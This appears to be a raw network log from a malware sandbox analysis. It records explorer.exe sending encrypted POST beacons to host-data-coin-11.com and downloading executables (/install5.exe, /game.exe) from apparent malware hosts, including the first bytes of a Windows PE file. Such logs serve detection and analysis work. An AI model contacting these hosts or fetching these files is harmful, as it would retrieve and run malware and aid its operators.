Jan 14, 2022 04:59:04.240540028 CET	1440	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49758	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:04.347033978 CET	1441	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://afnhk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: host-data-coin-11.com
Jan 14, 2022 04:59:04.347047091 CET	1441	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 14 a3 cb 00 Data Ascii: ?2~236hTkowmFu$f]d!l d+Oq[;.:e4suvhOq!NKv t5fV5vGGT>ccU"d*z.R#=_#m(J/2Q
Jan 14, 2022 04:59:04.428491116 CET	1442	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49759	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:04.515151024 CET	1442	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uyqwcjxbf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 267 Host: host-data-coin-11.com
Jan 14, 2022 04:59:04.515208006 CET	1443	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 35 92 a0 10 Data Ascii: ?2~236hTkowmFu$f]d5j#\Be0nE/LAmq$ScO(AR}r9E1@;VFuT=;o%dVTtD`:$gF[*hTr`K^'\YY>Q?
Jan 14, 2022 04:59:04.600716114 CET	1443	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49761	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:05.157767057 CET	1450	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bncatspln.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 349 Host: host-data-coin-11.com
Jan 14, 2022 04:59:05.160697937 CET	1450	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 15 83 c6 24 Data Ascii: ?2~236hTkowmFu$f]d$U[`3XklQ2yw&Tk$slS5Ppd`lI6U583C"3sMl;\|`P*_{~R:?3N7fho!fbq`O[
Jan 14, 2022 04:59:05.243841887 CET	1450	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49762	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:05.733947992 CET	1451	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bwonexybi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: host-data-coin-11.com
Jan 14, 2022 04:59:05.733958006 CET	1452	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 36 b9 83 2e Data Ascii: ?2~236hTkowmFu$f]d6.Ui!~Uo\|#$Y3p/',#~ZMD(J/zD :oO7Z;gc@*\+`js)yjHgShf+A.wl)"
Jan 14, 2022 04:59:05.823020935 CET	1452	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49858	172.67.139.105	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49763	54.38.220.85	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:05.878139019 CET	1453	OUT	GET /install5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: unicupload.top
Jan 14, 2022 04:59:05.897200108 CET	1453	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Fri, 14 Jan 2022 03:57:44 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49764	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:05.983947992 CET	1454	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sworutss.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 124 Host: host-data-coin-11.com
Jan 14, 2022 04:59:05.983995914 CET	1454	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 59 a2 a0 72 Data Ascii: ?2~236hTkowmFu$f]dYr(lQ\S1 @z#cs$OC,
Jan 14, 2022 04:59:06.071681976 CET	1456	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49766	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:06.476031065 CET	1457	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drlfnir.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: host-data-coin-11.com
Jan 14, 2022 04:59:06.476814032 CET	1457	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 52 a3 cd 77 Data Ascii: ?2~236hTkowmFu$f]dRw%=yET<^K)V^[{ho(d)x8C47b!1_B0VN{n_'`wTQ<}sn:wM$3d^ Q..HXj!&^(
Jan 14, 2022 04:59:06.579536915 CET	1457	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49767	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:06.662708044 CET	1463	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvqyadtl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Jan 14, 2022 04:59:06.662728071 CET	1463	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 33 d5 b4 0c Data Ascii: ?2~236hTkowmFu$f]d391;X)YrY%5Dj<0Z,l0/)23 y-OIyQBT,?B>fS(9>11$;_7(+ZP}>mO\ 9\l\|UgKuc'~RW
Jan 14, 2022 04:59:06.748112917 CET	1464	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49768	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:06.836819887 CET	1465	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://irhpoqhlc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 165 Host: host-data-coin-11.com
Jan 14, 2022 04:59:06.836834908 CET	1466	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 10 9c 89 0b Data Ascii: ?2~236hTkowmFu$f]dC&7\|DJg?*`A]!~p2`QM4b);-qO89PU@:5]:TXIbA
Jan 14, 2022 04:59:06.922924042 CET	1466	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49769	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:07.277445078 CET	1533	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:07.343255043 CET	1535	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:07 GMT Content-Type: application/x-msdos-program Content-Length: 323584 Connection: close Last-Modified: Fri, 14 Jan 2022 03:59:02 GMT ETag: "4f000-5d582d2c452d6" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e4 e0 b6 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f6 03 00 00 a8 12 00 00 00 00 00 d0 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 16 00 00 04 00 00 24 33 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f1 03 00 28 00 00 00 00 10 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 f0 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 62 f4 03 00 00 10 00 00 00 f6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 10 04 00 00 18 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 75 62 6f 6d 00 00 05 00 00 00 00 e0 15 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 78 61 6b 00 00 00 00 ea 00 00 00 00 f0 15 00 00 02 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 77 61 78 69 67 93 0d 00 00 00 00 16 00 00 0e 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 16 00 00 84 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 47 00 00 00 a0 16 00 00 48 00 00 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c f4 03 00 7e f4 03 00 92 f4 03 00 a8 f4 03 00 b8 f4 03 00 c8 f4 03 00 e4 f4 03 00 fc f4 03 00 10 f5 03 00 20 f5 03 00 3a f5 03 00 54 f5 03 00 6c f5 03 00 80 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z<RRRIRIgR)RS>RIRIRIRRichRPEL_@$3(0@@.textb `.data@.dubom@.xak@.zawaxig@.rsrc$@@.relocGH@Bl~ :Tl
Jan 14, 2022 04:59:07.343307018 CET	1536	IN	Data Raw: f5 03 00 8c f5 03 00 9a f5 03 00 b2 f5 03 00 c8 f5 03 00 ea f5 03 00 f6 f5 03 00 0a f6 03 00 26 f6 03 00 38 f6 03 00 54 f6 03 00 66 f6 03 00 76 f6 03 00 84 f6 03 00 9e f6 03 00 b0 f6 03 00 c8 f6 03 00 dc f6 03 00 ea f6 03 00 fa f6 03 00 10 f7 03 Data Ascii: &8Tfv>\nBVf(:Pd".DV
